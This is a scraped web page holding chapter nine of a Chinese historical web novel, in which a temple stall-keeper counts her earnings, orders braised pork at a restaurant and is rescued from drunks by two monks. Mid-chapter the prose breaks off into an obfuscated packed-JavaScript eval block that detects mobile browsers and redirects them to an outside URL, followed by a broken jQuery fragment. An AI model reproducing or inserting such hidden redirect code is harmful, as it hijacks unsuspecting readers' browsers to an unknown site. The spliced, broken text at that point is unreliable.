文趣网 > 其他小说 > 徐娘子在北宋佛寺的摆摊日常 > 9. 第九章 出寺吃饭
    徐樱追过来,不是因为两者价钱不一样。

    她能住在寺里,应该是赵元衡为她掏了钱的缘故。可寺里住持管事,交好没坏处,她本来就想送的。

    她追上来是怕明觉法师在不知情的情况下犯戒。

    那她罪过可就大了。

    可是明觉法师这么斩钉截铁地说那就是绿豆糕,让徐樱怀疑自己刚是不是她看错了。

    应该不会呀,黄绿色和金黄色,这谁分不清。

    就在徐樱想让明觉法师打开看看的时候,她脑子里突然闪过几张画面,明觉法师去孙娘子摊子买果脯的时候,就他一人是自己夹好包好让郑娘子秤的,其他人都是孙娘子选。

    他不会偷偷加进去几块肉干吧?

    徐樱咳了一声,“不好意思,我记错了,这里面才是肉松饼。住持日后再想吃绿豆糕,我可以做好给您送去。”

    明觉淡然一笑:“无妨,女施主也是一片好意。”

    徐樱目送明觉法师离开,她其实有点意外,看住持犯戒和看圆通圆善犯戒还是不一样的。

    不过以前看的书中也有吃肉的和尚,酒肉穿肠过,佛祖心中留嘛。

    吃了依旧是救苦救难的好和尚,只能说境界超脱戒律。

    正想着,徐樱迎面碰上圆通圆善二人。

    圆通道:“女施主怎么不等会儿?走之前忘了跟你说了,我俩中午过来接你。”

    徐樱道:“这不重,我往回搬搬,对了,这个给你们。”

    这是绿豆糕了,本来想给二人留肉松饼的。

    二人齐声道:“施主真是太客气了。”

    圆善:“那我们把别的东西搬回来。”

    徐樱道了声谢,“对了,我还有一事想请教二位大师。”

    圆通:“施主请说。”

    徐樱问:“我想捐些香油钱,这个怎么弄?”

    也不知道他们有没有提成。

    二人眼睛一亮,“施主可算问对人了,施主可以向寺里捐铜钱,这钱只用于供佛斋僧,不作他用。也可以捐灯油,以前便有施主一下捐了三十贯,买地雇人种,收成换油点长明灯。”

    徐樱眉头微蹙,“长明灯?”

    圆善解释,“能为在的人祈福消解灾厄。”

    在的人,徐樱想到了原身,可原身已经不在了。

    不在了却不能给原身办丧事,她还是想为原身点一盏,可三十贯也太贵了。

    二人似乎看出她的为难,对视一眼说道:“还有个法子,一盏灯就四文,灯油好说,我们每晚会外出集募。三十贯是保灯不灭,施主不必在意。”

    徐樱明白了,那就是可以分期付款,她回去看看今天赚了多少吧,再决定捐多少钱。

    徐樱道:“多谢大师解惑。”

    二人合掌道:“阿弥陀佛。”

    徐樱先回客舍,把门外的桶拎回去。等了一会儿,圆通圆善把她留下的东西送了回来。

    东西先放着,不急着收拾。徐樱先在桌上铺了张荷叶,开始数钱。

    昨儿一天,今天半天,还得加上前天的一个晚上,可不能算今天赚的。

    站了一天徐樱腿有些酸,她干脆坐下来数。

    一文,两文……

    一时间,屋里就剩下铜板碰撞的声音。

    数完一吊,徐樱找绳子串起来,她有点紧张,期间还数错了一次。

    “这是两吊钱。”徐樱把钱挨着放好,又看荷叶剩的铜板,还不少呢,她现在已经回本了。

    徐樱心里轻快多了,这回又数了一吊零三百二十七文。

    三吊钱是三千文,三千三百二十七文,买东西花了一千六百多文,请人花了一百二十文,再有别的乱七八糟花销,利润不到五成,那也有四成多了。

    四成多,也是因为今儿切了些点心给客人吃,又送出去几块。

    不然能赚更多。

    徐樱决定就算赚了一千六百文,一吊钱给原身点长明灯,她又分出来四文钱。

    她打算给赵元衡也点一盏,灯油就靠集募。

    在赵元衡看来,她一片痴心还等着回府当妾呢。徐樱一时半会儿离不开大相国寺,虽然她求神拜佛希望赵元衡别想起她来,可万一呢。

    有这么个样子,赵元衡应该能多信两分。

    再说,她是来“祈福”的,总得做做样子。

    钱的用处分好,徐樱这才慢慢收拾东西,她晚上得去告诉净仪一声,明儿还要过来。

    至于下午,徐樱要找家饭馆。

    她想吃肉了。

    在寺里不能吃,出去总能吃的。徐樱从侯府出来时行李里有帷帽,以后出门都戴上为好。

    中午饭徐樱没吃,把东西收拾好,她荷包带上锁好门窗从寺里出去。

    赚了钱,徐樱的心境都不一样。

    以前只往寺里卖,她几乎垄断了。现在徐樱心里多了几分底气,若是日后被发现赶出来,她也能糊口。

    只不过她不常出来,对街上也不熟悉。在外面转了一圈,也不知道去哪家吃好。店面太过富丽堂皇的不行,价钱贵,她钱包承受不住。

    一点人没有的也不行,味道肯定不好。

    在汴河大街转悠着,没吃上饭,反倒把要用的东西卖了。

    送回去一趟,徐樱又出来,最后站在一个店面看着有些旧,也不太大的饭馆前。

    这个时辰这家还有两个客人,味道应该不差。

    门口招旗写了个饭字,一只橘猫团成一团躺在地上,街上的巷子徐樱没敢去,怕遇上黑店。

    她走进去,一个看着三十来岁的婶子从大堂到后院的帘子出来。

    徐樱问:“还做生意吗?”

    钱娘子道:“做,你随便找个位置坐,空的都能做。”

    徐樱没挨着那桌客人,选了个靠窗靠门的位置,她摘下帷帽问:“有菜单不?”

    钱娘子爽利道:“有,我给你拿去。”

    等拿过来,徐樱扫了一遍,发现这上面有很多字她都不认识。

    哈。

    她把菜单扣桌上,“你们这儿都有什么肉菜?”

    钱娘子的目光多在菜单上停了一息,很快就拾起笑道:“有炙子骨头,炙金肠,炙鸡,粉煎骨头,糟猪蹄爪……羊肉贵,猪肉便宜,娘子看看吃些什么。”

    徐樱一头雾水,这都什么菜呀。

    炙鸡……是烤鸡吗,金肠又是什么,猪大肠?

    “这金肠是……”

    “羊肠,羊肉价贵嘛,故有金肠之名。”钱娘子道,“这道菜二百文,也是我们店的招牌。”

    徐樱眼里闪过震惊。

    她以为一顿吃个二百文就不便宜了,一道菜就这么多。

    “糟猪蹄爪呢?”

    钱娘子笑着道:“香糟卤的猪蹄,是道凉菜,六十文。”

    六十文。

    徐樱想走的心都有了,她看看钱娘子,又看看菜单,最后道:“婶子,能按我说的做不?”

    钱娘子心里一紧,“怎么个做法?”

    徐樱先问:“这怎么收钱?”

    钱娘子道:“还真没人这么干过,这会儿客人不多,可以给娘子做。一道菜给我二十文工钱,食材费另算,这样如何?”

    徐樱点点头,“好,猪五花半斤,切成两指宽厚的小块,焯水后锅底放少许油煎得金黄,油盛出去,留底油加两片姜一个大葱段,放一个八角、指甲盖大的桂皮,六粒花椒、少许糖色、酱油盐糖适量,炒香后加热水小火炖半个时辰两刻钟,最后大火收汁。”

    徐樱又道:“猪蹄你也别糟了,加黄豆炖,给我炖一只猪蹄。”

    徐樱说完做法,又道:“再炒盘时令青菜,两碗米饭,先算了钱再做。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17900592|212925||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    钱娘子若有所思地点点头,看了徐樱两眼才道:“你且等会儿。”

    徐樱肚子很饿,可都出来一趟,万一吃到的还不是自己喜欢吃的,那岂不白出来了。

    红烧肉徐樱早就馋了,猪蹄她最爱焖黄豆,凉了猪蹄是脆弹的,她喜欢软糯口感。

    等了片刻,钱娘子出来了,又问了徐樱几个做菜的细节,“能做,猪肉半斤三十文,猪蹄一只十八文,再加青菜香料,总共一百二十文。工钱给你算两道菜的,四十文,你给一百六十文就行。”

    徐樱:“我吃完再付。”

    钱娘子点点,“那是自然,这得等会儿,要茶水吗?”

    徐樱估摸着茶水也要钱,但她在外面转悠半天,中午她也没吃,不想干等,就要了一壶,

    做菜耗时,等菜做好,已是一个时辰后可。

    钱娘子端上一盘油润的红烧肉,一盘金黄软糯的炖猪蹄儿,一碟炒青菜另两碗米饭。

    徐樱在心里念了句阿弥陀佛,直接拿起筷子。

    这一桌都不及一盘炙金肠贵,但徐樱吃得满意又满足。

    味道不错,红烧肉的肉皮软烂,猪蹄一抿就脱骨,黄豆最好吃,已经烂了,拌饭吃最香。

    青菜脆生生,若是多加些蒜末就更好了。

    钱娘子送完菜就去了后厨,这小饭馆是她和她男人经营的。

    另请了个伙计,铺子里就三人。

    因为味道好,所以生意一直不错。

    钱娘子的夫君问:“怎么样?”

    “先吃了肉菜,青菜还没怎么吃,没说话。”

    男人道:“也不知味道什么样,好不好吃。闻着挺香的,不然咱们加菜单上……”

    钱娘子瞪了男人一眼,“不成。”

    钱娘子觉得徐樱是来踢馆的,要不怎么看菜单不满意,听她报菜名也不满意。

    还给菜谱让他们做,不就是想看看两边手艺差在哪儿。

    她道:“你信不信今儿加上,明儿就传出咱们偷学别人方子的话来!”

    开了这么多年馆子,钱娘子在乎名声。

    切磋手艺行,别的不行。

    男人连连点头,“我晓得我晓得,这我还能不晓得嘛。”

    钱娘子希望这人吃完就走,可别再来了。

    徐樱吃完第二碗饭时天已经黑了,她看了眼外面的天色,放下钱离开。

    今天算是吃好了。

    前几日顶多算是吃饱,一会儿她先去绣巷,就顺路给清霜买了两个肉馅儿包子。

    付了钱刚要走,迎面俩醉汉把徐樱拦住。

    “娘子别急着走呀,大晚上还戴什么帷帽,跟我们兄弟乐呵乐呵去。”

    馒头铺子老板出声道:“干什么呢,喝点酒撒疯,滚滚滚!”

    调戏女子处流刑,这俩人就是喝了酒,脑子清醒可没这么大胆子。

    醉汉眯着眼笑,徐樱一阵恶心,她心里盘算着往后跑,二人却一左一右把她堵住。

    老板过来了,徐樱刚要开口,却听见背后一道熟悉的声音。

    “阿弥陀佛,施主,佛曰慎勿视女色,亦莫共言语。色即是空,空即是色,爱美之心人皆有之,可你连自己最根本的欲望都管不住,与禽兽何异呢?”

    醉汉瞪了眼圆通,“死秃驴,要你们多管闲事,哪里凉快哪儿待着去!”

    圆通圆善并没有因为这人言语冒犯而动怒:“阿弥陀佛,对施主来说,我们这是劝你放下屠刀回头是岸。对这位女施主来说是拔刀相助,怎么算是闲事呢。”

    圆善道:“二位还是改过自新,重新做人吧。”

    “敬酒不吃吃罚酒,我看你们是活腻歪了,不滚是吧。”俩人醉醺醺的,一步三晃,撸起袖子要动手。

    圆通慢条斯理地挽起袖子,露出粗壮的小臂,“既然道理讲不通,那贫僧也略懂一点拳脚。”